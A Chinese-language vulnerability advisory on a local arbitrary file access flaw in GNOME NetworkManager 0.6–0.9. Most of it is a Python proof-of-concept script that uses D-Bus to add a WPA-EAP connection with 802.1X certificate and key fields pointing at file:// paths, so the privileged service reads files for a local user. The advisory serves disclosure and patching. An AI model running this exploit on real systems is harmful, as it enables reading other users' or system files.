GNOME NetworkManager本地任意文件访问漏洞
发布日期:2012-02-29
更新日期:2012-03-05
受影响系统:
GNOME NetworkManager 0.9
GNOME NetworkManager 0.7
GNOME NetworkManager 0.6
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 52206
GNOME NetworkManager可提供系统总线上的接口。
GNOME NetworkManager在实现上存在本地任意文件访问漏洞,本地攻击者可利用此漏洞读取任意文件。
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Ludwig ()提供了如下测试方法:
#!/usr/bin/Python
#
# Copyright (C) 2011 SUSE LINUX Products GmbH
#
# Author: Ludwig Nussel
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# version 2 as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
import gobject
import dbus
import dbus.service
import dbus.mainloop.glib
import os
import subprocess
def N_(x): return x
_debug_level = 0
def debug(level, msg):
if (level <= _debug_level):
print '<%d>'%level, msg
class NetworkManager(gobject.GObject):
NM_STATE = {
0: 'UNKNOWN',
10: 'UNMANAGED',
20: 'UNAVAILABLE',
30: 'DISCONNECTED',
40: 'PREPARE',
50: 'CONFIG',
60: 'NEED_AUTH',
70: 'IP_CONFIG',
80: 'IP_CHECK',
90: 'SECONDARIES',
100: 'ACTIVATED',
110: 'DEACTIVATING',
120: 'FAILED',
}
NM_DEVICE_TYPE = {
0: 'NM_DEVICE_TYPE_UNKNOWN', # The device type is unknown.
1: 'NM_DEVICE_TYPE_ETHERNET', # The device is wired Ethernet device.
2: 'NM_DEVICE_TYPE_WIFI', # The device is an 802.11 WiFi device.
3: 'NM_DEVICE_TYPE_UNUSED1', # Unused
4: 'NM_DEVICE_TYPE_UNUSED2', # Unused
5: 'NM_DEVICE_TYPE_BT', # The device is Bluetooth device that provides PAN or DUN capabilities.
6: 'NM_DEVICE_TYPE_OLPC_MESH', # The device is an OLPC mesh networking device.
7: 'NM_DEVICE_TYPE_WIMAX', # The device is an 802.16e Mobile WiMAX device.
8: 'NM_DEVICE_TYPE_MODEM', # The device is a modem supporting one or more of analog telephone, CDMA/EVDO, GSM/UMTS/HSPA, or LTE standards to access a cellular or wireline data network.
}
NM_802_11_AP_SEC = {
'NM_802_11_AP_SEC_NONE': 0x0, # Null flag.
'NM_802_11_AP_SEC_PAIR_WEP40': 0x1, # Access point supports pairwise 40-bit WEP encryption.
'NM_802_11_AP_SEC_PAIR_WEP104': 0x2, # Access point supports pairwise 104-bit WEP encryption.
'NM_802_11_AP_SEC_PAIR_TKIP': 0x4, # Access point supports pairwise TKIP encryption.
'NM_802_11_AP_SEC_PAIR_CCMP': 0x8, # Access point supports pairwise CCMP encryption.
'NM_802_11_AP_SEC_GROUP_WEP40': 0x10, # Access point supports a group 40-bit WEP cipher.
'NM_802_11_AP_SEC_GROUP_WEP104': 0x20, # Access point supports a group 104-bit WEP cipher.
'NM_802_11_AP_SEC_GROUP_TKIP': 0x40, # Access point supports a group TKIP cipher.
'NM_802_11_AP_SEC_GROUP_CCMP': 0x80, # Access point supports a group CCMP cipher.
'NM_802_11_AP_SEC_KEY_MGMT_PSK': 0x100, # Access point supports PSK key management.
'NM_802_11_AP_SEC_KEY_MGMT_802_1X': 0x200, # Access point supports 802.1x key management.
}
def __init__(self):
self.bus = dbus.SystemBus()
self.proxy = None
self.manager = None
self.running = False
self.devices = {}
self.devices_by_name = {}
self.aps = {}
self.ap_by_addr = {}
self.ap_by_ssid = {}
self.check_status()
self.bus.add_signal_receiver(
lambda name, old, new: self.nameowner_changed_handler(name, old, new),
bus_name='org.freedesktop.DBus',
dbus_interface='org.freedesktop.DBus',
signal_name='NameOwnerChanged')
self.bus.add_signal_receiver(
lambda device, **kwargs: self.device_add_rm(device, True, **kwargs),
bus_name='org.freedesktop.NetworkManager',
dbus_interface = 'org.freedesktop.NetworkManager',
signal_name = 'DeviceAdded',
sender_keyword = 'sender')
self.bus.add_signal_receiver(
lambda device, **kwargs: self.device_add_rm(device, False, **kwargs),
bus_name='org.freedesktop.NetworkManager',
dbus_interface = 'org.freedesktop.NetworkManager',
signal_name = 'DeviceRemoved',
sender_keyword = 'sender')
def cleanup(self):
self.switcher = None
def devstate2name(self, state):
if state in self.NM_STATE:
return self.NM_STATE[state]
return "UNKNOWN:%s"%state
def devtype2name(self, type):
if type in self.NM_DEVICE_TYPE:
return self.NM_DEVICE_TYPE[type]
return "UNKNOWN:%s"%type
def secflags2str(self, flags):
a = []
for key in self.NM_802_11_AP_SEC.keys():
if self.NM_802_11_AP_SEC[key] and flags&self.NM_802_11_AP_SEC[key]:
a.append(key[len('NM_802_11_AP_SEC_'):])
return ' '.join(a)
def nameowner_changed_handler(self, name, old, new):
if name != 'org.freedesktop.NetworkManager':
return
off = old and not new
self.check_status(off)
def device_add_rm(self, device, added, sender=None, **kwargs):
if (added):
dev = self.bus.get_object("org.freedesktop.NetworkManager", device)
props = dbus.Interface(dev, "org.freedesktop.DBus.Properties")
name = props.Get("org.freedesktop.NetworkManager.Device", "Interface")
devtype = props.Get("org.freedesktop.NetworkManager.Device", "DeviceType")
debug(0,"device %s, %s added"%(name, self.devtype2name(devtype)))
self.devices[device] = name
self.devices_by_name[name] = device
if devtype == 2:
wifi = dbus.Interface(dev, "org.freedesktop.NetworkManager.Device.Wireless")
aps = wifi.GetAccessPoints()
for path in aps:
ap = self.bus.get_object("org.freedesktop.NetworkManager", path)
props = dbus.Interface(ap, "org.freedesktop.DBus.Properties")
ssid_raw = props.Get("org.freedesktop.NetworkManager.AccessPoint", "Ssid")
addr = props.Get("org.freedesktop.NetworkManager.AccessPoint", "HwAddress")
wpaflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "WpaFlags")
rsnflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "RsnFlags")
ssid = ''
for b in ssid_raw:
if b > 20 and b < 126:
ssid += str(b)
else:
ssid += '0x%02x'%b
self.aps[path] = {
'Ssid' : ssid_raw,
'_ssid_readable' : ssid,
'HwAddress' : addr,
'WpaFlags' : wpaflags,
'RsnFlags' : rsnflags,
}
self.ap_by_addr[addr] = path
if not ssid in self.ap_by_ssid:
self.ap_by_ssid[ssid] = set({})
self.ap_by_ssid[ssid].add(path)
for ssid in sorted(self.ap_by_ssid.keys()):
print ssid
for path in self.ap_by_ssid[ssid]:
ap = self.aps[path]
print ' ', ap['HwAddress']
if ap['WpaFlags']:
print " WPA: ", self.secflags2str(ap['WpaFlags'])
if ap['RsnFlags']:
print " RSN: ", self.secflags2str(ap['RsnFlags'])
else:
if not device in self.devices:
debug(0, "got remove signal for unknown device %s removed"%device)
else:
name = self.devices[device]
del self.devices[device]
del self.devices_by_name[name]
debug(0,"device %s removed"%name)
def _connect_nm(self):
try:
self.proxy = self.bus.get_object("org.freedesktop.NetworkManager", "/org/freedesktop/NetworkManager")
self.manager = manager = dbus.Interface(self.proxy, "org.freedesktop.NetworkManager")
running = True
except dbus.DBusException, e:
running = False
print e
return running
def check_status(self, force_off=False):
if (force_off):
running = False
else:
running = self.running
if (not self.manager):
running = self._connect_nm()
if (running):
if (not self.running):
devices = self.manager.GetDevices()
for d in devices:
self.device_add_rm(d, True)
if (not running):
self.proxy = self.manager = None
self.running = running
debug(1,"NM Running: %s"%self.running)
def addcon(self, params, device, ap = '/'):
if device[0] != '/':
if not device in self.devices_by_name:
print "Error: device not known"
sys.exit(1)
device = self.devices_by_name[device]
if ap[0] != '/' and not 'ssid' in params['802-11-wireless']:
params['802-11-wireless']['ssid'] = [dbus.Byte(ord(c)) for c in ap]
if not ap in self.ap_by_ssid:
print "Warning: ssid not known"
ap = '/'
else:
ap = '/'
self.manager.AddAndActivateConnection(params, device, ap)
if __name__ == '__main__':
from optparse import OptionParser
parser = OptionParser(usage="%prog [options]")
parser.add_option('--debug', dest="debug", metavar='N',
action='store', type='int', default=0,
help="debug level")
(opts, args) = parser.parse_args()
if opts.debug:
_debug_level = opts.debug
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
mainloop = gobject.MainLoop()
bus = dbus.SystemBus()
nm = NetworkManager()
if len(args) == 0:
#mainloop.run()
True
elif args[0] == 'new':
conn = {
'connection': {
'permissions': [ 'user:joesix:' ],
'autoconnect': False,
'type': '802-11-wireless',
},
'802-11-wireless': {
#'ssid': [ dbus.Byte(ord(c)) for c in "something" ],
'mode': 'infrastructure',
'security': '802-11-wireless-security',
},
'802-1x': {
'eap': [ 'tls' ], # peap, ttls
'client-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cert.pem' ] + [ dbus.Byte(0) ],
'private-key': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/key.pem' ] + [ dbus.Byte(0) ],
'ca-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cacert.pem' ] + [ dbus.Byte(0) ],
'private-key-password': "12345",
#'ca-cert': 'hash://server/sha256/5336d308fa263f9f07325baae58ac972876f419527a9bf67c5ede3e668d3a925',
#'subject-match': '/CN=blah/emailAddress=foo@bar',
#'phase2-auth': 'mschapv2',
'identity': 'test1',
#'password': 'test1',
},
'802-11-wireless-security': {
'key-mgmt': 'wpa-eap',
'auth-alg': 'open',
},
}
dev = args[1]
ap = None
if len(args) > 2:
ap = args[2]
nm.addcon(conn, dev, ap)
# vim: sw=4 ts=8 noet
建议:
--------------------------------------------------------------------------------
厂商补丁:
GNOME
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: